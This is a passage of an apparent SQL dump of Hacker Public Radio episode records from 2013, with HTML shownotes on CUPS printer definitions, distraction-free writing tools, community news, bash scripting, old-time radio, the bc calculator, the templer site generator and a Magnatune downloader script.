socket://PRINT_SERVER_IP_ADDRESS:9100&nbsp; \" works for me, click continue<br/>\r\n7. On the next page, fill in a printer name, this will be the file name\r\nfor the PPD generated as well as how the printer is labled in the\r\nprinter select dialog.&nbsp; The other fields are optional.&nbsp; Click\r\ncontinue.<br/>\r\n8. (I am assuming if the LinuxQuestions post was right, CUPS will find\r\nthe gz file and show the manuafacturer and model as options) From the\r\nlist, select a manufacturer, or input the path to your PPD file<br/>\r\n9. Select the printer model<br/>\r\n9a.I think you could copy over the ppd as is and type the path to it in the field where it asks for a ppd file.&nbsp; <br/>\r\n10.Modify or accept the default printer settings<br/>\r\n<br/>\r\nOr just copy the ppd and compare the settings in /etc/cups/printers.conf<br/>\r\n<br/>\r\n</p>\r\n',131,0,1,'CC-BY-SA','CUPS,PPD,Postscript Printer Definition ',0,1714,1),
(1195,'2013-03-01','Distractionless Writing',1251,'Writing with no distractions using FocusWriter and PyRoom','<p>ThistleWeb explains the advantages of a distractionless writing environment for fiction writers or aspiring fiction writers. A physical space of sanctuary is only the first part of the concept, but that\'s undone if your screen around your text is full of distractions. A distractionless writing application covers the entire screen, separating you from updates, notifications and editing options. ThistleWeb\'s distractionless environment of choice is Focuswriter, although there\'s quite a few to choose from.</p>\r\n<ul>\r\n<li><a href=\"https://gottcode.org/focuswriter/\" title=\"Focuswriter\">https://gottcode.org/focuswriter/</a> FocusWriter</li>\r\n<li><a href=\"https://pyroom.org/\" title=\"PyRoom\">https://pyroom.org/</a> PyRoom</li>\r\n</ul>\r\n',106,0,1,'CC-BY-SA','FocusWriter,PyRoom ',0,1942,1),
(1196,'2013-03-04','HPR Community News Feb 2013',7109,'HPR Community News Feb 2013','<h2>New hosts</h2>\r\n<p>There were no new hosts this month.\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n<table id=\"table_results\" class=\"data ajax\">\r\n<thead><tr>\r\n<th class=\"draggable condition\">id\r\n</th><th class=\"draggable\">title\r\n</th><th class=\"draggable\">host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1176</td>\r\n<td  class=\"data grid_edit not_null    \">Intro to editing the Open Street Map </td>\r\n<td  class=\"data grid_edit not_null    \">pokey</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1177</td>\r\n<td  class=\"data grid_edit not_null    \">HPR Community News Dec12/Jan13</td>\r\n<td  class=\"data grid_edit not_null    \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1178</td>\r\n<td  class=\"data grid_edit not_null    \">Interviews with Laura Creighton and Armin Rigo</td>\r\n<td  class=\"data grid_edit not_null    \">Seetee</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1179</td>\r\n<td  class=\"data grid_edit not_null    \">Interview with Mark A Davis of TWUUG</td>\r\n<td  class=\"data grid_edit not_null    \">Frank Bell</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1180</td>\r\n<td  class=\"data grid_edit not_null    \">TGTM Newscast for 2/6/2013</td>\r\n<td  class=\"data grid_edit not_null    \">Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1181</td>\r\n<td  class=\"data grid_edit not_null    \">Mumble Audio Issues</td>\r\n<td  class=\"data grid_edit not_null    \">Delwin</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1182</td>\r\n<td  class=\"data grid_edit not_null    \">LiTS 023: Date</td>\r\n<td  class=\"data grid_edit not_null    \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1183</td>\r\n<td  class=\"data grid_edit not_null    \">Boise Lug meeting Feb 7 2013</td>\r\n<td  class=\"data grid_edit not_null    \">Quvmoh</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1184</td>\r\n<td  class=\"data grid_edit not_null    \">Installing Linux without a monitor</td>\r\n<td  class=\"data grid_edit not_null    \">Various Hosts</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1185</td>\r\n<td  class=\"data grid_edit not_null    \">Shooting the Breeze</td>\r\n<td  class=\"data grid_edit not_null    \">Jezra and NYbill</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1186</td>\r\n<td  class=\"data grid_edit not_null    \">A plea and a Follow up</td>\r\n<td  class=\"data grid_edit not_null    \">Various Hosts</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1187</td>\r\n<td  class=\"data grid_edit not_null    \">I live in GNU/Emacs</td>\r\n<td  class=\"data grid_edit not_null    \">garjola</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1188</td>\r\n<td  class=\"data grid_edit not_null    \">Rmail in Emacs</td>\r\n<td  class=\"data grid_edit not_null    \">klaatu</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1189</td>\r\n<td  class=\"data grid_edit not_null    \">Part One: Counting Partridges and Gold Rings</td>\r\n<td  class=\"data grid_edit not_null    \">Charles in NJ</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1190</td>\r\n<td  class=\"data grid_edit not_null    \">03 LibreOffice Writer Introduction to Styles</td>\r\n<td  class=\"data grid_edit not_null    \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1191</td>\r\n<td  class=\"data grid_edit not_null    \">Arch Linux</td>\r\n<td  class=\"data grid_edit not_null    \">Dude-man</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1192</td>\r\n<td  class=\"data grid_edit not_null    \">LiTS 024: time and /usr/bin/time</td>\r\n<td  class=\"data grid_edit not_null    \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1193</td>\r\n<td  class=\"data grid_edit not_null    \">Chris Conder Catchup on Broadband for Rural North</td>\r\n<td  class=\"data grid_edit not_null    \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1194</td>\r\n<td  class=\"data grid_edit not_null    \">Copying a Printer Definition File Between Systems</td>\r\n<td  class=\"data grid_edit not_null    \">FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1195</td>\r\n<td  class=\"data grid_edit not_null    \">Distractionless Writing</td>\r\n<td  class=\"data grid_edit not_null    \">Thistleweb</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h2>Apologies</h2>\r\n<p>\r\nJohn Spriggs for not setting up the account <br />\r\nApologies to Mark A Davis and Frank Bell for not posting their show on time<br />\r\nNYBILL and Charles in NJ for reposting their show<br />\r\nFor not setting up the NSFW flags as yet<br />\r\n</p>\r\n<h2>Thanks</h2>\r\n<p>\r\nDave Morriss for all the QA<br />\r\nNeil Wallace AKA rowinggolfer for the heads up about the links<br />\r\nBill for the offer of $2500<br />\r\nTo whoever signed hpr up for a regular dental check<br />\r\n</p>\r\n\r\n<h2>Other News</h2>\r\n<ul>\r\n<li>Interesting tool on FLOSS Weekly 240 <a href=\"https://twit.tv/show/floss-weekly/240\">https://twit.tv/show/floss-weekly/240</a>, called Auphonic <a href=\"https://auphonic.com\">https://auphonic.com</a> for transcoding audio. Check it out. </li>\r\n<li>GPSBabel converts waypoints, tracks, and routes between popular GPS receivers and mapping programs. It also has powerful manipulation tools for such data. <a href=\"https://www.gpsbabel.org/\">https://www.gpsbabel.org/</a></li>\r\n<li><img width=800 src=\"https://imgs.xkcd.com/comics/iso_8601.png\" alt=\"use iso 8601\" /></li>\r\n<li><img width=800 src=\"https://rfquerin.org/hprstuff/hpr_tee01.png\" alt=\"HPR T Shirts\" /></li>\r\n<li><img width=800 src=\"https://rfquerin.org/hprstuff/hpr_horiz_sticker_01.png\" alt=\"HPR Sticker\" /></li>\r\n</ul>\r\n\r\n\r\n<h2>Events</h2>\r\n<ul>\r\n    <li><a href=\"https://www.northeastlinuxfest.org/\">https://www.northeastlinuxfest.org/</a>NELF: pokey: The Northeast Gnu/Linux Fest March 16 and 17</li>\r\n    <li><a href=\"https://www.linuxfestnorthwest.org/\">https://www.linuxfestnorthwest.org/</a>LFNW: LinuxFest Northwest 2013 Bellingham, WA • April 27th and 28th, Contact: David Whitman </li>\r\n</ul>\r\n\r\n<h2>Sonar Fundraiser</h2>\r\n<p>\r\nThe Sonar Project has $9,838 raised with 256 people contributing. A big thanks to all the !HPR Listeners who helped out.\r\nIt\'s not too late to contribute to the ACF. See <a href=\"https://accessiblecomputingfoundation.org/\">https://accessiblecomputingfoundation.org/</a> for more information.\r\n</p>\r\n\r\n<h2>We need shows</h2>\r\n<p>\r\nWe only have shows from 4 hosts, and we still have 195 slots to fill this year so please consider contributing a show. <a href=\"https://hackerpublicradio.org/calendar.php\">https://hackerpublicradio.org/calendar.php</a>\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,1758,1),
(1197,'2013-03-05','What I do with bash scripts',1638,'Some personal anecdotes on writing Bash scripts','<p>In this episode I talk about the way I use shell scripting on a\r\nday-to-day basis. I am not employed in a technical field, so the\r\nfact that I use shell scripts at all surprises most people. I am\r\njust a music history professor with an enthusiasm for Linux and\r\nfree software. Although I have dabbled a bit with Python, I don\'t\r\nfeel nearly as comfortable with Python as I do with bash, so all\r\nof the scripts I mention in this episode are written for bash.  </p>\r\n\r\n<p>Here are links to blog posts about some of the scripts mentioned\r\nin the show.  </p>\r\n\r\n<p>markdown2latex:  <a href=\"https://jonathankulp.org/archives/570\">https://jonathankulp.org/archives/570</a>  </p>\r\n\r\n<p>Cowsay stuff: <a href=\"https://jonathankulp.org/archives/346\">https://jonathankulp.org/archives/346</a>  </p>\r\n\r\n<p>\"stick\" scp script: <a href=\"https://jonathankulp.org/archives/441\">https://jonathankulp.org/archives/441</a>  </p>\r\n\r\n<p>MyIP: <a href=\"https://jonathankulp.org/archives/620\">https://jonathankulp.org/archives/620</a>  </p>\r\n',238,42,1,'CC-BY-SA','Bash,scripting ',0,2053,1),
(1198,'2013-03-06','THEATER OF THE IMAGINATION: 05',1713,'Using external USB audio equipment; some old-time radio recommendations','<p>\r\nLINKS\r\n</p>\r\n\r\n<ul>\r\n<li>The M-Audio Fast Track USB: <a href=\"https://www.sweetwater.com/store/detail/FastTrackUSB/\">https://www.sweetwater.com/store/detail/FastTrackUSB/</a> \r\n</li>\r\n<li>The Bickersons article on Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Bickersons\">https://en.wikipedia.org/wiki/Bickersons</a>\r\n</li>\r\n<li>Here are a bunch of episodes of this hilarious show on the Internet Archive: <a href=\"https://archive.org/details/TheBickersons54Episodes\">https://archive.org/details/TheBickersons54Episodes</a>\r\n</li>\r\n<li>Audio Epics: <a href=\"https://www.audioepics.com/\">https://www.audioepics.com/</a>\r\n</li>\r\n<li>The Witch Hunter Chronicles: <a href=\"https://whchronicles.wordpress.com/about/\">https://whchronicles.wordpress.com/about/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMUSIC\r\n</p>\r\n\r\n<ul>\r\n<li>VJ_Memes_-_circus_man.mp3: <a href=\"https://ccmixter.org/files/VJ_Memes/37243\">https://ccmixter.org/files/VJ_Memes/37243</a>\r\n</li>\r\n</ul>\r\n',107,52,1,'CC-BY-SA','USB,audio,old time radio ',0,1881,1),
(1199,'2013-03-07','Old Time Radio on the web',1795,'Radio shows from the early days of radio broadcasting','<p>\r\nFrank Bell talks about Old Time Radio (OTR), his history as a radio listener, and his Old Time Radio websites.\r\n</p>\r\n<p>\r\nThe OTR Fans site defines OTR as <em>\"Old time radio often called \"OTR\" refers to radio shows from the early days of radio broadcasting. The term usually applies to dramas, comedies, mystery shows, westerns and variety shows that were acted out by professional actors and sent out over the airwaves. In the golden age of radio families would sit around their radio listening to the exciting shows the way we sit around our television sets watching them today.\"</em>\r\n<br />\r\n<a href=\"https://www.radiolovers.com/copyrights.html\">OTR copyright information</a>:  https://www.radiolovers.com/copyrights.html\r\n</p>\r\n<p>\r\nOld Time Radio streaming and download sites mentioned in the show:\r\n</p>\r\n<ul>\r\n<li><a href=\"https://www.otr.net/\">OTR.Network Library</a>:  https://www.otr.net/</li>\r\n<li><a href=\"https://www.oldtimeradiofans.com/\">Old Time Radio Fans</a>:  https://www.oldtimeradiofans.com/</li>\r\n<li><a href=\"https://www.oldradioworld.com/\">My Old Radio World</a>:  https://www.oldradioworld.com/ </li>\r\n<li><a href=\"https://www.cbsrmt.com/\">CBS Radio Mystery Theatre Fan Site</a>:  https://www.cbsrmt.com/</li>\r\n<li><a href=\"https://www.mysteryshows.com/\">Old Time Radio Theatre (was OTR Mystery Theatre</a>:  https://www.mysteryshows.com/ </li>\r\n<li><a href=\"https://www.archive.org/details/oldtimeradio\">OTR at the Internet Archive</a>:  https://www.archive.org/details/oldtimeradiofans</li>\r\n<li><a href=\"https://www.myoldradio.com/\">My Old Radio World</a>:  https://www.myoldradio.com/</li>\r\n<li><a href=\"https://www.radiolovers.com/\">Radio Lovers</a>:  https://www.radiolovers.com/</li>\r\n</ul>\r\n<p>\r\nStreamable shows mentioned in the podcast.  Note that many of the OTR shows and episodes can be found at multiple sites and that some sites may have a larger number than and different episodes from other sites.  I have restricted these links to ones I know will be playable in Linux (in other words, no links to real media format).\r\n</p>\r\n<ul>\r\n<li><a href=\"https://archive.org/details/OTRR_BCRC_Singles\">Rosemary Clooney and Bing Crosby</a>:  https://archive.org/details/OTRR_BCRC_Singles</li>\r\n<li><a href=\"https://www.oldradioworld.com/shows/Barry_Craig_Confidential_Investigator.php\">Barry Craig, Confidential Investigator</a>: https://www.oldradioworld.com/shows/Barry_Craig_Confidential_Investigator.php</li>\r\n<li><a href=\"https://www.oldtimeradiofans.com/template.php?show_name=Man%20Called%20X\">The Man Called X</a>:  https://www.oldtimeradiofans.com/template.php?show_name=Man%20Called%20X</li>\r\n<li><a href=\"https://www.myoldradio.com/old-radio-shows/mr-keen-tracer-of-lost-persons\">Mr. Keen, Tracer of Lost Persons</a>:  https://www.myoldradio.com/old-radio-shows/mr-keen-tracer-of-lost-persons</li>\r\n<li><a href=\"https://www.mysteryshows.com/Casey-Crime-Photographer/index.php\">Crime Photographer</a>:  https://www.mysteryshows.com/Casey-Crime-Photographer/index.php</li>\r\n<li><a href=\"https://www.mysteryshows.com/Mystery-Is-My-Hobby/index.php\">Mystery Is My Hobby</a>:  https://www.mysteryshows.com/Mystery-Is-My-Hobby/index.php</li>\r\n<li><a href=\"https://archive.org/details/otr_fatman\">The Fat Man</a>:  https://archive.org/details/otr_fatman</li>\r\n<li><a href=\"https://archive.org/details/TheSaintVincentPriceOTR\">The Saint</a>:  https://archive.org/details/TheSaintVincentPriceOTR</li>\r\n<li><a href=\"https://archive.org/details/ThePrivateFilesOfRexSaunders\">Rex Saunders</a>:  https://archive.org/details/ThePrivateFilesOfRexSaunders</li>\r\n</ul>\r\n<p>\r\nRadio personalities mentioned in the show:\r\n</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Arthur_Godfrey\">Arthur Godfrey</a>:  https://en.wikipedia.org/wiki/Arthur_Godfrey</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Garry_Moore\">Garry Moore</a>: https://en.wikipedia.org/wiki/Garry_Moore</li>\r\n<li><a href=\"https://bayarearadio.org/people/harv-morgan_kgo.shtml\">Harv Morgan</a>:  https://bayarearadio.org/people/harv-morgan_kgo.shtml</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Jean_Shepherd\">Jean Shepard</a>:  https://en.wikipedia.org/wiki/Jean_Shepherd</li>\r\n<li><a href=\"https://www.imdb.com/name/nm0550855/\">E. G. Marshall</a>:  https://www.imdb.com/name/nm0550855/</li>\r\n<li><a href=\"https://www.imdb.com/name/nm0342245/\">Tammy Grimes</a>:  https://www.imdb.com/name/nm0342245/</li>\r\n</ul>\r\n',195,0,1,'CC-BY-SA','radio,old time radio,broadcasting  ',0,2236,1),
(1200,'2013-03-08','CJE Computer Jargon Explained 01',556,'Explaining computing and internet terms that confuse and frustrate people','<p>\r\nI had an idea for a website that aims to explain as clearly as possible, computing and internet terms that confuse and frustrate people.\r\n</p>\r\n<p>\r\nIt came about when a Motorsport Forum Website I work with changed their IP address and some DNS issues caused problems. In the discussion amongst the staff of the site, as soon as the technically minded staff talked about DNS and IPs and Caches, some of the staff who aren\'t as familiar with the terms either dropped out or even got angry because they felt they were being excluded.\r\n</p>\r\n<p>\r\nThat highlighted to me the need for a resource where these terms could be explained in a way that demystifies the jargon for the every man. I am thinking it could be massively useful to have a site where we can use short video files to quickly and effectively explain the who,why,where,when and what of computerspeak, that would otherwise baffle and deter friends, family and colleagues.\r\n</p>\r\n<p>\r\nThis idea is little more than a concept at this time. As I make progress towards getting CJA working, I shall post updates on <a href=\"https://amunro.net\">https://amunro.net</a>\r\n</p>\r\n<p>\r\nIf you have any comments, suggestions for topics to explain, or if you want to contribute to the site. Please email me or get in touch through amunro.net.\r\n</p>',239,0,1,'CC-BY-SA','\"technical explanation\",website',0,1945,1),
(1201,'2013-03-11','In My Feed - Episode 01',829,'Podcast and other recommendations','<br />\r\nMy first show \"In My Feed\", a title inspired by the HPR Contribute page\'s list of requested topics. \r\n<hr />\r\nWeb Comics<br />\r\n<ul>\r\n<li>XKCD - Randall Monroe<br />\r\n    <a href=\"https://xkcd.com\">https://xkcd.com</a></li>\r\n<li>Dilbert - Scott Adams<br />\r\n    The app mentioned should be Quick (not fast) Dilbert Reader available at play.google.com (but I\'ve run out of audio edit time)</li>\r\n<li>Ellie on Planet X - Jim Anderson<br />\r\n    <a href=\"https://ellieonplanetx.com\">https://ellieonplanetx.com</a></li>\r\n<li>Ralph the Destroyer - Scott Lincoln<br />\r\n    <a href=\"https://ralfthedestroyer.com\">https://ralfthedestroyer.com</a></li>\r\n</ul>\r\n<hr />\r\n<ul>\r\n<li>The Bugcast - Caroline and Dave<br>\r\n    Live streaming music and chat on Friday evenings, With IRC on freenode channel #thebugcast<br />\r\n    Full details and RSS feed at <a href=\"https://thebugcast.org\">https://thebugcast.org</a> </li>\r\n<li>Sufolk \'n\' Cool - Peter Clithero<br />\r\n    Probably the most carefully pronounced podcast in the world.<br />\r\n    <a href=\"https://suffolkandcool.com\">https://suffolkandcool.com</a></li>\r\n<li>Is This Thing On - Nick Tann<br />\r\n    <a href=\"https://isthisthingonpodcast.com\">https://isthisthingonpodcast.com</a></li>\r\n<li>AMPed Weekly Show - The Association of Music Podcasting<br />\r\n    The Association is at <a href=\"https://musicpodcasting.org\">https://musicpodcasting.org</a><br />\r\n    The weekly podcast is at <a href=\"https://amped.musicpodcasting.org\">https://amped.musicpodcasting.org</a></li>\r\n</ul>\r\n<hr />\r\nGNU Command of the Week! is ...  \'scp\'<br />\r\nGo to $ man scp ;-)<br />\r\n',240,0,1,'CC-BY-SA','recommendations,\"web comics\",podcasts',0,1768,1),
(1202,'2013-03-12','LiTS 025: bc',1229,'An arbitrary precision calculator language: <em>bc</em>','<p>Math from the Linux command line is one of those tasks that is not as straight forward as you may think. There are many tools that will allow you to perform mathematical functions accessible to you, but to perform simple arithmetic is not as simple as just entering some equation. You can use the echo command to perform basic mathematical problems but it does not allow for decimals making division in particular problematic. \r\n</p>\r\n<p>\r\nFor more on this post and to see the video please see the main article <a href=\"https://www.linuxintheshell.com/2013/03/12/episode-025-bc/\">https://www.linuxintheshell.com/2013/03/12/episode-025-bc/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','bc,calculator',0,2379,1),
(1203,'2013-03-13','templer: a static html generator',535,'An introduction to Steve Kemp\'s static site generator, written in Perl','<p>\r\nIn today\'s show Chess talks to us about a static html generator written in perl called templer\r\n</p>\r\n<ul>\r\n<li><a href=\"https://github.com/skx/templer\">https://github.com/skx/templer</a></li>\r\n<li><a href=\"https://www.steve.org.uk/\">https://www.steve.org.uk/</a></li>\r\n</ul>\r\n<h2>Templer</h2>\r\n\r\n<p>Templer is yet another static site generator, written in Perl.</p>\r\n\r\n<p>It makes use of the <a href=\"https://search.cpan.org/perldoc?HTML%3A%3ATemplate\">HTML::Template</a> module for performing variable expansion within pages and layouts, along with looping and conditional-statement handling.</p>\r\n\r\n<p>Templer has evolved over time for my own personal use, but I believe\r\nit is sufficiently generic it could be useful to others.</p>\r\n\r\n<p>My motivation for putting it together came from the desire to change\r\nseveral hand-made, HTML-coded, sites to something more maintainable such\r\nthat I could easily change the layout in one place.</p>\r\n\r\n<p>The design evolved over time but the key reason for keeping it around\r\nis that it differs from many other simple static-generators in several\r\nways:</p>\r\n\r\n<ul>\r\n<li>You may define global variables for use in your pages/layouts.</li>\r\n<li>A page may define and use page-specific variables.</li>\r\n<li>You may change the layout on a per-page basis if you so wish.\r\n\r\n<ul>\r\n<li>This was something that is missing from a lot of competing tools.</li>\r\n</ul>\r\n</li>\r\n<li>Conditional variable expansion is supported, via <code>HTML::Template</code>.</li>\r\n<li>File contents, shell commands, and file-globs may be used in the templates\r\n\r\n<ul>\r\n<li>This allows the trivial creation of galleries, for example.</li>\r\n<li>These are implemented via plugins.</li>\r\n</ul>\r\n</li>\r\n<li>You may also embed perl code in your pages.</li>\r\n</ul><p>Another key point is that the layouts allow for more than a single\r\nsimple \"content\" block to be placed into them - you can add arbitrary\r\nnumbers of optional side-menus, for example.</p>\r\n\r\n<p>Although this tool was written and used with the intent you\'d write your\r\nsite-content in HTML you can write your input pages in Textile or Markdown\r\nif you prefer (these inputs are supported via plugins).</p>',76,0,1,'CC-BY-SA','templer,\"static site\",perl,HTML::Template,Textile,Markdown',0,1894,1),
(1204,'2013-03-14','My Magnatune Downloader',1319,'How I download albums from Magnatune with Bash and Perl scripts','<H3>The Problem</H3>\r\n\r\n<P>\r\nI\'m a fan of <I>Magnatune</I> (<A HREF=\"https://magnatune.com/\">https://magnatune.com/</A>) and have been buying music\r\nfrom them for 7 or 8 years. The Magnatune website itself is good for exploring\r\nand downloading, and interfaces for browsing and purchasing are available in\r\na number of players on Linux. I have direct experience of:\r\n</P>\r\n\r\n<UL>\r\n<LI>Amarok: allows you to browse, purchase, examine artist information and album\r\n  details.\r\n<LI>Rhythmbox: the plugin, which used to allow browsing and purchasing, is\r\n  currently unavailable, but is apparently due to return soon.\r\n<LI>Gnome Music Player Client: (a front-end to the Music Player Daemon, mpd)\r\n  offers a Magnatune browser plugin\r\n<LI>Magnatune Web 2.0 player: a web-based tool which will browse, play and\r\n  download Magnatune music.\r\n<LI>Magnatune Android player: a fairly basic browser and player for Android 2.0\r\n  and up.\r\n</UL>\r\n\r\n<P>\r\nThe Magnatune Web 2.0 player is the best of the bunch as far as I am\r\nconcerned, particularly since it allows me to explore the music collection\r\nwhilst listening to streamed music at the same time. However, none of these\r\ninterfaces provide me with exactly what I want in terms of the download\r\nprocess, so I decided to write my own.\r\n</P>\r\n\r\n<H3>The Plan</H3>\r\n\r\n<P>\r\nI currently host my music on my HP Proliant microserver, share it across the\r\nhome network, and play it with the Music Player Daemon\r\n(<A HREF=\"https://sourceforge.net/projects/musicpd/\">https://sourceforge.net/projects/musicpd/</A>) on my desktop system. I normally\r\nkeep the album cover image, artwork and related material in the same directory\r\nas the album itself, and I want to be able to save all files in their\r\nappropriate places automatically.\r\n</P>\r\n<P>\r\nMagnatune provides an API which is documented at\r\n<A HREF=\"https://download.magnatune.com/info/api\">https://download.magnatune.com/info/api</A>, though this information is only available\r\nto members. Data is available in several formats: XML, SQlite and MySQL.\r\n</P>\r\n\r\n<H3>Design</H3>\r\n\r\n<P>\r\nI didn\'t want to launch into building a full-blown application, especially\r\nsince I only needed a downloader, so I decided to create a collection of\r\nBash and Perl scripts.\r\n</P>\r\n<P>\r\nI decided to use the XML data organised by album. This is updated on about\r\na weekly or two weekly basis, and there is a signalling mechanism through\r\na downloadable file containing a checksum. When this changes the large data\r\nfile has changed and can be downloaded. At the time of writing I simply run\r\nthis by hand when I receive an email alert from Magnatune.\r\n</P>\r\n<P>\r\nMagnatune uses an unique key made from the artist and album names which it\r\nrefers to as the <I>SKU</I> (Stock Keeping Unit) or <I>albumsku</I>. They use this\r\nas an URL component and in XML tags. I use it to identify the stuff I download\r\nand to keep a simple inventory.\r\n</P>\r\n<P>\r\nI decided to write some basic scripts:\r\n</P>\r\n\r\n<UL>\r\n<LI>To download the catalogue\r\n<LI>To extract information from the catalogue\r\n<LI>To download an album\r\n<LI>To unpack the downloaded items into the target directory\r\n</UL>\r\n\r\n<P>\r\nI wanted to learn more about manipulating XML data, so I decided to use\r\n<I>XSL</I>, the E<B>x</B>tensible <B>S</B>tylesheet <B>L</B>anguage. This lets you define\r\nstylsheets for XML data, including ways of identifying XML components with\r\n<I>XPath</I> and of transforming XML with <I>XSLT</I>.\r\n</P>\r\n<P>\r\nI have included a number of links to the resources I used in the shownotes.\r\n</P>\r\n\r\n<H3>Repository</H3>\r\n\r\n<P>\r\nI have placed all of the scripts, their associated files, and HTML and PDF\r\n<I>README</I> files (extended shownotes) in a GitLab repository. This can be\r\nbrowsed at <A HREF=\"https://gitlab.com/davmo/magnatune-downloader\">https://gitlab.com/davmo/magnatune-downloader</A>\r\nor, if a copy is required it can be obtained with the command:\r\n</P>\r\n\r\n<PRE>\r\n  git clone https://gitlab.com/davmo/magnatune-downloader.git\r\n</PRE>\r\n\r\n<P>\r\nThis makes a local <I>git</I> repository containing a copy of all of the files in\r\nthe current directory.\r\n</P>\r\n\r\n<p><b>Note:</b> The code was originally hosted on Gitorious\r\n(https://gitorious.org/magnatune-downloader), but with the demise of this\r\nservice it was moved to GitHub and the details above updated. Then since the\r\nMicrosoft takeover of GitHub, it has been moved to GitLab and the details\r\nupdated as needed.</p>\r\n\r\n<H3>Scripts</H3>\r\n\r\n<UL>\r\n<LI><I>update_albums</I>: a Bash script to download a new version of the album\r\n  catalogue, as a bzipped XML file, if it is different from the current\r\n  version.  It generates a summary of the catalogue for simple searching using\r\n  XSLT.\r\n<LI><I>report_albumsku</I>: a Bash script to take a <I>SKU</I> code and look up the\r\n  album details in the XML file.\r\n<LI><I>get_album</I>: a Bash script to download an album, cover images and artwork.\r\n  It takes the <I>SKU</I> as an argument and uses it to make an URL for an XML\r\n  file which points at all of the components, and this is downloaded (with\r\n  authentication). The script then parses this file to get the necessary URLs\r\n  for downloading. I only use the OGG format but it could easily collect any\r\n  or all formats available from Magnatune. The script records the fact that\r\n  this particular <I>SKU</I> code has been downloaded so that it isn\'t\r\n  collected again in error. All downloaded files are given names beginning\r\n  with the <I>SKU</I> code and are stored for the installation phase.\r\n<LI><I>install_download</I>: a Perl script which unpacks the downloaded zip file to\r\n  its final destination then adds the cover images and artwork to the same\r\n  place. I used Perl because it allowed me to query the zip file to determine\r\n  the name of the directory that was going to be created.\r\n</UL>\r\n\r\n<H3>Further Developments</H3>\r\n\r\n<P>\r\nI have added further scripts to this system since I created it. I have one that\r\nsynchronises the music files from my workstation to the server, and two that\r\ngive me a simple wish-list or queue functionality.\r\n</P>\r\n<P>\r\nSince I have a 200GB download limit per month on my broadband contract I try\r\nnot to download music too often and avoid contention with the rest of the\r\nfamily. My queueing system is used to keep a list of stuff I\'d like to buy\r\nfrom Magnatune, and I simply feed the top element from the queue into my\r\ndownload script every week or so.\r\n</P>\r\n<P>\r\nIn the future I expect to be refining all of these scripts and making them\r\nless vulnerable to errors. For example, I have found a few cases where\r\nMagnatune\'s XML is not valid and this causes the <I>xsltproc</I> tool to fail.\r\nI\'d like to be able to recover from such errors more elegantly than I\'m doing\r\nnow.\r\n</P>\r\n<P>\r\nAt some point I may well be tempted to consolidate all of the current\r\nfunctions into a single Perl script.\r\n</P>\r\n\r\n<H3>Disclaimer</H3>\r\n\r\n<P>\r\nI have no connections to Magnatune other than being a contented customer.\r\n</P>\r\n\r\n<H3>Links</H3>\r\n\r\n<UL>\r\n<LI>Magnatune: <A HREF=\"https://magnatune.com/\">https://magnatune.com/</A>\r\n<LI>Magnatune API: <A HREF=\"https://magnatune.com/info/api\">https://magnatune.com/info/api</A>\r\n<LI>AsciiDoc: <A HREF=\"https://www.methods.co.nz/asciidoc/index.html\">https://www.methods.co.nz/asciidoc/index.html</A>\r\n<LI>XSLT information:\r\n  <UL>\r\n  <LI>XSLT Tutorial: <A HREF=\"https://linux.dd.com.au/wiki/XSLT_Tutorial\">https://linux.dd.com.au/wiki/XSLT_Tutorial</A>\r\n  <LI>XSL Transformations: <A HREF=\"https://www.cafeconleche.org/books/bible3/chapters/ch15.html\">https://www.cafeconleche.org/books/bible3/chapters/ch15.html</A>\r\n  <LI>XSLT tutorial: <A HREF=\"https://www.w3schools.com/xsl/default.asp\">https://www.w3schools.com/xsl/default.asp</A>\r\n  